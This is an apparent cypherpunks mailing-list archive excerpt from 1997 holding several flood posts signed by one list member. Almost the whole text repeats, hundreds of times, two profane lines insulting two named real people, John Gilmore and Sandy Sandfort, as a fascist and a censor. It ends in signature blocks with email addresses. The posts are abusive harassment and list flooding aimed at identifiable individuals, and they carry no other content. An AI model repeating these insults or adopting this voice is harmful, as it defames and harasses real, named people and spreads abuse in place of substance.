John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771003.521828.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:58:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770947.521303.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
